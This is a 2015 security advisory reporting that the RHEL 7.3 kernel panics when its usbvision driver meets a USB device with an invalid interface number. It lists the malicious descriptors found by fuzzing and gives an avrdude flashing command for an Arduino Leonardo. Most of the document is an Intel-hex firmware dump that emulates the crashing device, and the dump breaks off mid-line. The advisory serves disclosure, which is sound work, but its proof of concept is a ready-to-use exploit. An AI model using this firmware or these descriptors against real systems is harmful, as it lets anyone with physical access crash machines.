Local RedHat Enterprise Linux DoS – RHEL 7.3 Kernel crashes on invalid USB device descriptors (usbvision driver)
OpenSource Security Ralf SpennebergAm Bahnhof 3-548565 Steinfurtinfo@os-s.netOS-S Security Advisory 2015-04http://www.os-s.net/advisories/DOS-KernelCrashesOnInvalidUSBDeviceDescriptors-UsbvisionDriver.pdfDate: October 7th, 2015Last Updated: October 7th, 2015Authors: Sergej Schumilo, Hendrik Schwartke, Ralf SpennebergCVE: not yet assignedCVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)Title: Local RedHat Enterprise Linux DoS – RHEL 7.3 Kernel crashes on invalidUSB device descriptors (usbvision driver)Severity: Critical. The Kernel panics. A reboot is required.Vendor contacted: March 13th 2015https://bugzilla.redhat.com/show_bug.cgi?id=1201858Ease of Exploitation: TrivialVulnerability type: Wrong input validationProducts: RHEL 7.3 including all updatesAbstractThe Kernel 3.10.0-123.20.1.el7.x86_64 crashes when presented a buggy USBdevice which requires the usbvision driver. All subsequently published kernelupdates crash as well.Detailed product descriptionWe confirmed the bug on the following system:RHEL 7.3kernel >= 3.10.0-123.20.1.el7.x86_64Further products or kernel versions have not been testedDescriptionThe bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo(github.com/schumilo) using the following device descriptor:###[ USB_Device_Descriptor ]### bLength = 18 bDescriptorType= 0x1 bcdUSB = 0x200 bDeviceClass= 0xff bDeviceSubClass= 0 bDeviceProtocol= 0 bMaxPacketSize= 64 isVendor = 0x573 idProduct = 0x4d26 bcdDevice = 0x100 iManufacturer= 1 iProduct = 2 iSerialNumber= 3 bNumConfigurations= 1
This is the configuration descriptor containing the malicious value forbInterfaceNumber causing the crash. Any number but 0 crashes the system.###[ USB_Configuration_Descriptor ]### bLength = 9 bDescriptorType= 0x2 wTotalLength= 0x27 bNumInterfaces= 1 bConfigurationValue= 1 iConfiguration= 0 bmAttributes= Remote_Wakeup+Self_Powered+Reserved_D7
bMaxPower = 49
###[ USB_Interface_Descriptor ]###
bLength = 9
bDescriptorType= 0x4
bInterfaceNumber= 255
bAlternateSetting= 0
bNumEndpoints= 3
bInterfaceClass= 0xff
bInterfaceSubClass= 0x0
bInterfaceProtocol= 0x0
iInterface= 0
###[ USB_Endpoint_Descriptor ]###
bLength = 7
bDescriptorType= 0x5
bEndpointAddress= 0x81
bmAttribut= 0x3
wMaxPacketSize= 1028
bInterval = 12
###[ USB_Endpoint_Descriptor ]###
bLength = 7
bDescriptorType= 0x5
bEndpointAddress= 0x1
bmAttribut= 0x2
wMaxPacketSize= 4
bInterval = 12
###[ USB_Endpoint_Descriptor ]###
bLength = 7
bDescriptorType= 0x5
bEndpointAddress= 0x82
bmAttribut= 0x1
wMaxPacketSize= 4
bInterval = 12
Proof of Concept
For a proof of concept we are providing a Arduino firmware file. Just flash it
on Arduino Leonardo and plug it into any RHEL machine. The arduino will
emulate the defective USB device.
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U
flash:w:binary.hex
The file binary.hex has been attached to this bug report
To prevent automated sending of payloads, use a jumper to connect port D3 and
3V3!
Severity and Ease of Exploitation
The security weakness can be easily exploited. Using our arduino firmware only
physical access to the system is required.
Vendor Communication
We unsuccessfully tried to contact the vendor for several months. We never
received any response on our bugtraq ticket:
https://bugzilla.redhat.com/show_bug.cgi?id=1201858
Arduino Firmware
:
100000000C94A8000C94C5000C94C5000C94C50079
:100010000C94C5000C94C5000C94C5000C94C5004C
:100020000C94C5000C94C5000C94CC050C943704BA
:100030000C94C5000C94C5000C94C5000C94C5002C
:100040000C94C5000C94C5000C94C5000C94C5001C
:100050000C94C5000C94C5000C94C5000C941602B9
:100060000C94C5000C94C5000C94C5000C94C500FC
:100070000C94C5000C94C5000C94C5000C94C500EC
:100080000C94C5000C94C5000C94C5000C94C500DC
:100090000C94C5000C94C5000C94C5000C94C500CC
:1000A0000C94C5000C94C5000C94C50013031603F2
:1000B00009030D033703370337031A031E03220313
:1000C00028032C03370332030000000200080E004F
:1000D00000030401000B000000000000000000000D
:1000E00000000000000004080201104080401020C1
:1000F00040804080080204018040201002011080EE
:100100001020404004040404040304050202020217
:1001100004030202020206060606060604040202A0
:100120000204000000002300260029002C002F00FC
:1001300000000000250028002B002E0031000000E8
:100140000000240027002A002D00300000C180811B
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077
:10016000B1E0E4EEF3E102C005900D92A436B107D0
:10017000D9F725E0A4E6B5E001C01D92AF37B2077C
:10018000E1F70E94C8000C940C070C94000008953D
:10019000CF93DF93CDB7DEB7CD59D1090FB6F89421
:1001A000DEBF0FBECDBF0E94A9020E94C70060E063
:1001B00083E00E94380361E087E00E94380361E039
:1001C00088E00E9438030E9461067E012AE9E20E5F
:1001D000F11C84E093E0D70111969C938E9389E003
:1001E00094E013969C938E93129782E2E2E1F1E001
:1001F0009E012F5F3F4F6901D90101900D928A95B1
:10020000E1F788E1E4E3F1E0DE01939601900D92DD
:100210008A95E1F782E1ECE4F1E0DE01DB96019002
:100220000D928A95E1F789E0EEE5F1E0DE01A05953
:10023000BF4F01900D928A95E1F7CE0189599F4FEA
:1002400029E0922EDC01E92D1D92EA95E9F78E0155
:1002500009571F4F27E0E7E6F1E0D80101900D9222
:100260002A95E1F7BE0160587F4F27E0EEE6F1E006
:10027000DB0101900D922A95E1F7AE0147585F4FDF
:1002800027E0E5E7F1E0DA0101900D922A95E1F728
:100290005E01FEE8AF0EB11C26E0ECE7F1E0D5010F
:1002A00001900D922A95E1F79E01235B3F4FEEE00E
:1002B000D9011D92EA95E9F7F3E0D9011996FC936B
:1002C000DC019C92E4E01196EC931197EFEF12960B
:1002D000EC9312971496FC9314971596EC93FC01EB
:1002E000D901892D01900D928A95E1F7FE01EC5616
:1002F000FF4FD9011B96FC93EE931A971D96BC9263
:10030000AE921C9711830083738362835583448369
:100310000C5211098CE0F80111928A95E9F781E0FD
:10032000D80119968C931997FE01E059FF4F01905F
:100330000D929A94E1F7F8013387228761E088E013
:100340000E9471038BE492E00E946D0688E892E0BF
:100350000E946D0687EC92E00E946D0686E093E0B5
:100360000E946D0682E493E00E946D068FE793E0A1
:100370000E946D0684EA93E00E946D068BEE93E086
:100380000E946D0683E00E94A703892B09F047C0F5
:100390005E01F3E2AF0EB11C8824839482E1982EB3
:1003A00084E194E00E946D06BF92AF92DF92CF92FB
:1003B000FF92EF921F928F921F930F932DB73EB72C
:1003C000225131090FB6F8943EBF0FBE2DBFADB715
:1003D000BEB71196FE01FB96892D01900D928A956C
:1003E000E1F78DE695E00E940B0668E873E180E096
:1003F00090E00E9483028DE695E00E94560660E040
:1004000087E00E94710368E873E180E090E00E9459
:1004100083020FB6F894DEBF0FBECDBFC1CF6AE036
:1004200070E080E090E00E948302ACCF1F920F92B8
:100430000FB60F9211242F933F938F939F93AF93F7
:10044000BF938091650590916605A0916705B09175
:1004500068053091640523E0230F2D3720F40196C1
:10046000A11DB11D05C026E8230F0296A11DB11DD7
:10047000209364058093650590936605A0936705B6
:10048000B09368058091690590916A05A0916B050C
:10049000B0916C050196A11DB11D809369059093E3
:1004A0006A05A0936B05B0936C05BF91AF919F91C6
:1004B0008F913F912F910F900FBE0F901F90189525
:1004C0003FB7F8948091690590916A05A0916B05FA
:1004D000B0916C0526B5A89B05C02F3F19F0019679
:1004E000A11DB11D3FBF6627782F892F9A2F620F5C
:1004F000711D811D911D42E0660F771F881F991F96
:100500004A95D1F70895CF92DF92EF92FF92CF9361
:10051000DF936B017C010E946002EB01C114D104E6
:10052000E104F10479F00E9460026C1B7D0B683ECF
:100530007340A0F381E0C81AD108E108F108C8515E
:10054000DC4FECCFDF91CF91FF90EF90DF90CF9019
:100550000895789484B5826084BD84B5816084BD3B
:1005600085B5826085BD85B5816085BDEEE6F0E02C
:10057000808181608083E1E8F0E010828081826088
:100580008083808181608083E0E8F0E08081816009
:100590008083E1E9F0E080818260808380818160F6
:1005A0008083E0E9F0E0808181608083E1ECF0E02D
:1005B000808184608083808182608083808181608B
:1005C0008083E3ECF0E0808181608083E0ECF0E008
:1005D000808182608083E2ECF0E0808181608083B2
:1005E000EAE7F0E08081846080838081826080839C
:1005F000808181608083808180688083089590E01D
:10060000FC013197EE30F10590F5EA5AFF4F0C945A
:10061000B309809180008F7703C0809180008F7D27
:1006200080938000089584B58F7702C084B58F7D54
:1006300084BD0895809190008F7707C080919000CD
:100640008F7D03C080919000877F809390000895F4
:100650008091C0008F7703C08091C0008F7D809310
:10066000C00008958091C200877F8093C2000895E2
:10067000CF93DF9390E0FC01EA51FF4F2491FC01FE
:10068000EC5FFE4F8491882349F190E0880F991F19
:10069000FC01E25CFE4FA591B491805D9E4FFC0190
:1006A000C591D4919FB7611108C0F8948C912095A1
:1006B00082238C93888182230AC0623051F4F8949B
:1006C0008C91322F309583238C938881822B888361
:1006D00004C0F8948C91822B8C939FBFDF91CF91B3
:1006E00008950F931F93CF93DF931F92CDB7DEB77B
:1006F000282F30E0F901E853FF4F8491F901EA51C6
:10070000FF4F1491F901EC5FFE4F04910023C9F0F3
:10071000882321F069830E94FF026981E02FF0E0C5
:10072000EE0FFF1FE05DFE4FA591B4919FB7F894C7
:100730008C91611103C01095812301C0812B8C9392
:100740009FBF0F90DF91CF911F910F